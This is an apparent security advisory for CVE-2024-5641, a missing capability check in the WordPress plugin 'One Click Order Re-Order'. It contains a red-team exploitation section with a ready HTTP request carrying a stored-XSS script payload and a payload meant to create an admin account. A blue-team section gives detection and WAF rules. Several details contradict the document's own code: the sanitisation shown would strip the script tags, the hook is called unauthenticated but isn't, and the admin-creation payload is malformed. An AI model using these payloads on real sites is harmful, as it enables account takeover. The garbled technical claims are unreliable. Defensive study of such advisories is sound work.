CVE-2024-5641

Executive Summary

CVE-2024-5641 is a medium-severity vulnerability affecting the WordPress plugin "One Click Order Re-Order" by Cedcommerce, up to version 1.1.9. The flaw resides in the ced_ocor_save_general_setting AJAX action, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to modify plugin settings arbitrarily. The most critical impact is the ability to inject stored cross-site scripting (XSS) payloads into plugin configuration fields, which can then be executed when an administrator views the settings page. This can lead to session hijacking, credential theft, or further WordPress compromise.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed automatically by WordPress site administrators. No supply chain compromise of the plugin source code has been reported, but the lack of a patch increases risk for all sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is elevated due to the low privileges required and the potential for stored XSS, which can be leveraged for privilege escalation or lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The vulnerability exists in the ced_ocor_save_general_setting function, which is registered as a WordPress AJAX action for both authenticated and unauthenticated users. The function processes POST data and saves it as plugin options without verifying that the current user has the manage_options capability (or any administrative capability). The code flow is as follows:

1. The plugin registers the AJAX hook: add_action('wp_ajax_ced_ocor_save_general_setting', 'ced_ocor_save_general_setting').
2. The function retrieves $_POST['ced_ocor_general_setting'] and sanitizes it using sanitize_text_field().
3. The sanitized value is then saved using update_option('ced_ocor_general_setting', $sanitized_value).
4. The saved option is later echoed without escaping in the plugin's admin settings page, leading to stored XSS.

The missing capability check (current_user_can('manage_options')) allows any authenticated user, including Subscribers, to trigger this AJAX action and modify the plugin settings.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1.9):

function ced_ocor_save_general_setting() {
    if (isset($_POST['ced_ocor_general_setting'])) {
        $sanitized_value = sanitize_text_field($_POST['ced_ocor_general_setting']);
        update_option('ced_ocor_general_setting', $sanitized_value);
        echo 'Settings saved.';
    }
    wp_die();
}
add_action('wp_ajax_ced_ocor_save_general_setting', 'ced_ocor_save_general_setting');

Patched Code (hypothetical fix):

function ced_ocor_save_general_setting() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    if (isset($_POST['ced_ocor_general_setting'])) {
        $sanitized_value = sanitize_text_field($_POST['ced_ocor_general_setting']);
        update_option('ced_ocor_general_setting', $sanitized_value);
        echo 'Settings saved.';
    }
    wp_die();
}
add_action('wp_ajax_ced_ocor_save_general_setting', 'ced_ocor_save_general_setting');

The patch adds a capability check (current_user_can('manage_options')) before processing the request, ensuring only administrators can modify plugin settings.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• A valid user account with Subscriber-level privileges (e.g., username attacker, password password123).

Exploitation Steps:

1. Authenticate as the Subscriber user and obtain a WordPress nonce for AJAX actions (if required). The plugin does not use nonces, so this step may be skipped.
2. Craft a POST request to the WordPress AJAX endpoint with the malicious payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-wordpress-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_<hash>=<session_cookie>
   
   action=ced_ocor_save_general_setting&ced_ocor_general_setting=<script>alert('XSS')</script>
   

3. Verify the payload is stored by visiting the plugin settings page as an administrator. The script will execute in the admin's browser.

Advanced Payload:

<script>
fetch('/wp-admin/admin-ajax.php?action=your_custom_action', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=create_user&user_login=admin2&user_pass=password123&role=administrator'
});
</script>

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=ced_ocor_save_general_setting from non-admin users.
2. Check plugin options in the database for unexpected values:

   SELECT * FROM wp_options WHERE option_name = 'ced_ocor_general_setting';
   

3. Review WordPress user roles for any unauthorized privilege escalations.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=ced_ocor_save_general_setting
| eval is_admin=if(user_role="administrator", "yes", "no")
| where is_admin="no"
| table _time, src_ip, user, uri, form_data

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=ced_ocor_save_general_setting from non-admin IPs.
  • Unusual ced_ocor_general_setting parameter values containing <script> tags or base64-encoded JavaScript.

• Host IOCs:

  • Modified wp_options table entry: option_name = 'ced_ocor_general_setting' with suspicious content.
  • Unexpected administrator-level user accounts created via XSS payloads.

• File IOCs:

  • Plugin file /wp-content/plugins/one-click-order-re-order/admin/class-ced-ocor-admin.php containing the vulnerable function.

Detection Engineering

YARA Rule

rule CVE_2024_5641_WordPress_Plugin_OneClickOrderReOrder
{
    meta:
        description = "Detects the vulnerable version of One Click Order Re-Order plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5641"
    strings:
        $vuln_func = "ced_ocor_save_general_setting"
        $missing_cap = "current_user_can" nocase
        $ajax_hook = "wp_ajax_ced_ocor_save_general_setting"
    condition:
        $vuln_func and not $missing_cap and $ajax_hook
}

Sigma Rule

title: CVE-2024-5641 - WordPress One Click Order Re-Order Plugin Settings Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized modification of plugin settings via AJAX by non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=ced_ocor_save_general_setting"
    filter:
        cs-username|contains: "administrator"
    condition: selection and not filter
falsepositives:
    - Legitimate admin activity (if filter is misconfigured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5641 - WordPress One Click Order Re-Order Plugin Settings Modification";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ced_ocor_save_general_setting"; http_client_body;
    pcre:"/ced_ocor_general_setting=[^&]*<script/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential: wp plugin deactivate one-click-order-re-order
2. Remove the plugin entirely: wp plugin delete one-click-order-re-order
3. Audit user accounts for any unauthorized privilege escalations.

Long-term Fix:

• Since no official patch is available, apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=ced_ocor_save_general_setting from non-admin users.
• Alternatively, manually patch the plugin by adding the capability check as shown in the "Patched Code" section.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" "chain,id:1000002,deny,msg:'CVE-2024-5641 Exploit Attempt'"
SecRule ARGS:action "ced_ocor_save_general_setting" "chain"
SecRule REQUEST_HEADERS:Referer "!@contains /wp-admin/" "t:none"

Valters IT
Securing WordPress ecosystems one patch at a time.